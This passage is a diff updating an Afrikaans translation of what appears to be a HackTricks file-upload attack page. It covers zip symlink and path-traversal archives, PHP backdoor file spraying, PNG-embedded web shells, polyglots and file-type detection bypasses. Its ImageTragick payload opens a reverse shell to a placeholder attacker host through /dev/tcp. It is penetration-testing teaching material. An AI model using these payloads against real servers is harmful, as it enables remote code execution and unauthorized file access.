Open redirect -8. **PNG / JPEG**: Pixel vloedaanval (DoS) +7. **HTML / JS** : HTML injection / XSS / Open redirect +8. **PNG / JPEG**: Pixel flood attack (DoS) 9. **ZIP**: RCE via LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE -#### Burp Uitbreiding +#### Burp Extension + {{#ref}} https://github.com/portswigger/upload-scanner {{#endref}} -## Magiese Header Bytes +## Magic Header Bytes - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) vir ander lêertipes. +Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) vir ander filetypes. -## Zip/Tar Lêer Outomaties gedecomprimeerde Oplaad +## Zip/Tar File Automatically decompressed Upload -As jy 'n ZIP kan oplaai wat binne die bediener gaan gedecomprimeer word, kan jy 2 dinge doen: +As jy ’n ZIP kan upload wat binne die server ontpak gaan word, kan jy twee dinge doen: ### Symlink -Laai 'n skakel op wat sagte skakels na ander lêers bevat, dan, deur toegang te verkry tot die gedecomprimeerde lêers, sal jy toegang hê tot die gelinkte lêers: +Upload ’n link wat soft links na ander files bevat, dan, deur toegang te kry tot die ontpakte files sal jy toegang kry tot die geskakelde files: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Decomprimeer in verskillende vouers +### Ontpak in verskillende gidse -Die onverwagte skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike aannames dat hierdie opstelling dalk teen OS-vlak opdraguitvoering deur kwaadwillige lêeroplaaie kan beskerm, kan die hiërargiese kompressieondersteuning en gidse traversering vermoëns van die ZIP-argiefformaat uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en veilige oplaai-gidse te ontsnap deur die dekompressiefunksionaliteit van die geteikende toepassing te manipuleer. +Die onverwagte skepping van lêers in gidse tydens ontpakking is 'n beduidende probleem. Ondanks aanvanklike aanname dat hierdie opstelling moontlik teen OS-level command execution deur kwaadwillige lêeroplaaie sou beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP archive format uitgebuit word. Dit laat aanvallers toe om beperkings te omseil en uit veilige upload directories te ontsnap deur die ontpakkingsfunksionaliteit van die geteikende toepassing te manipuleer. -'n Geoutomatiseerde uitbuiting om sulke lêers te vervaardig is beskikbaar by [**evilarc op GitHub**](https://github.com/ptoomey3/evilarc). Die nut kan soos volg gebruik word: +'n Geautomatiseerde exploit om sulke lêers te skep is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die utility kan soos volg gebruik word: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Boonop is die **symlink truuk met evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking ondervind nie. +Daarbenewens is die **symlink trick with evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute tydens sy werking teëkom nie. -Hieronder is 'n voorbeeld van Python kode wat gebruik word om 'n kwaadwillige zip-lêer te skep: +Hieronder is 'n voorbeeld van Python code wat gebruik word om 'n kwaadaardige zip file te skep: ```python #!/usr/bin/python import zipfile @@ -249,11 +255,11 @@ zip.close() create_zip() ``` -**Misbruik van kompressie vir lêer spuit** +**Misbruik van kompressie vir file spraying** -Vir verdere besonderhede **kyk die oorspronklike pos in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Vir meer besonderhede **sien die oorspronklike pos by**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Skep 'n PHP Shell**: PHP kode word geskryf om opdragte uit te voer wat deur die `$_REQUEST` veranderlike oorgedra word. +1. **Creating a PHP Shell**: PHP-kode word geskryf om opdragte wat via die `$_REQUEST`-veranderlike gestuur word, uit te voer. ```php ``` -2. **Lêer Spuit en Gecomprimeerde Lêer Skep**: Meerdere lêers word geskep en 'n zip-argief word saamgestel wat hierdie lêers bevat. +2. **File Spraying and Compressed File Creation**: Verskeie lêers word geskep en 'n zip-argief wat hierdie lêers bevat, word saamgestel. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Wysiging met 'n Hex Editor of vi**: Die name van die lêers binne die zip word verander met vi of 'n hex editor, wat "xxA" na "../" verander om directories te traverse. +3. **Modification with a Hex Editor or vi**: Die name van die lêers binne die zip word met vi of 'n Hex Editor verander, deur "xxA" na "../" te vervang om deur gids.strukture te navigeer. ```bash :set modifiable @@ -280,38 +286,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Laai hierdie inhoud op met 'n beeld uitbreiding om die kwesbaarheid te benut **(ImageMagick , 7.0.1-1)** (vorm die [exploit](https://www.exploit-db.com/exploits/39767)) +Laai hierdie inhoud op met 'n image extension om die kwesbaarheid uit te buit **(ImageMagick , 7.0.1-1)** (sien die [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Inbedde PHP Shell in PNG +## Insluiting van PHP-shell in PNG -Die inbeddding van 'n PHP shell in die IDAT-gedeelte van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle algemeen gebruik word om beelde te hergroei en te hersampel. Die vermoë van die ingeslote PHP shell om onaangeraak deur hierdie operasies te bly, is 'n beduidende voordeel vir sekere gebruiksgevalle. +Om 'n PHP-shell in die IDAT-chunk van 'n PNG-lêer in te sluit, kan sekere beeldverwerkingsoperasies effektief omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is veral relevant in hierdie konteks, aangesien hulle gewoonlik gebruik word vir die verkleining en hersamplering van beelde. Die vermoë van die ingeslote PHP-shell om ongedeerd te bly deur hierdie operasies is 'n beduidende voordeel vir sekere gebruiksgevalle. -'n Gedetailleerde verkenning van hierdie tegniek, insluitend sy metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en sy implikasies. +'n Gedetailleerde ondersoek van hierdie tegniek, insluitend die metodologie en potensiële toepassings, word in die volgende artikel verskaf: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie bron bied 'n omvattende begrip van die proses en sy implikasies. -Meer inligting in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +Meer inligting by: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Polyglot Lêers +## Polyglot-lêers -Polyglot lêers dien as 'n unieke hulpmiddel in kuberveiligheid, wat optree as kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat sowel as 'n GIF as 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar. +Polyglot-lêers dien as 'n unieke hulpmiddel in kuberveiligheid, en tree op soos kameleons wat geldig in verskeie lêerformate gelyktydig kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie tot hierdie kombinasie beperk nie; samevoegings soos GIF en JS of PPT en JS is ook uitvoerbaar. -Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil. +Die kernnut van polyglot-lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe skerm. Algemene praktyk in verskeie toepassings behels dat net sekere lêertipes vir upload toegelaat word — soos JPEG, GIF of DOC — om die risiko van potensieel gevaarlike formate (bv. JS, PHP of Phar-lêers) te beperk. 'n Polyglot, deur aan die strukturele kriteria van verskeie lêertipes te voldoen, kan hierdie beperkings stilweg omseil. -Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhanklik wees van die platform se lêeruitbreidingsbeleid. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurdualisiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie. +Ten spyte van hul aanpasbaarheid, ondervind polyglots wel beperkings. Byvoorbeeld, terwyl 'n polyglot terselfdertyd 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van die upload afhang van die platform se beleid oor lêeruitbreidings. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote strukturele dualiteit van 'n polyglot nie genoeg wees om die upload te verseker nie. -Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +Meer inligting by: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Laai geldige JSON's op asof dit PDF was +### Upload geldige JSONs soos asof dit 'n PDF is -Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur 'n PDF-lêer na te maak (tegnieke van **[hierdie blogpos](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur 'n valse PDF-lêer voor te gee (tegnieke uit **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` biblioteek**: Solank die `%PDF` magiese bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld uit pos) -- **`pdflib` biblioteek**: Voeg 'n valse PDF-formaat binne 'n veld van die JSON by sodat die biblioteek dink dit is 'n pdf (kry voorbeeld uit pos) -- **`file` binêre**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n json kan ontleed nie en plaas dan die aanvanklike deel van 'n werklike PDF binne die JSON en dit sal dink dit is 'n PDF +- **`mmmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (sien voorbeeld in die post) +- **`pdflib` library**: Voeg 'n valse PDF-formaat binne 'n veld van die JSON in sodat die library dink dit is 'n PDF (sien voorbeeld in die post) +- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON groter as dit sodat dit nie die inhoud as 'n JSON kan parseer nie en sit dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dis 'n PDF ## Verwysings @@ -322,5 +328,6 @@ Hoe om lêertipe-detektering te vermy deur 'n geldige JSON-lêer op te laai self - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}}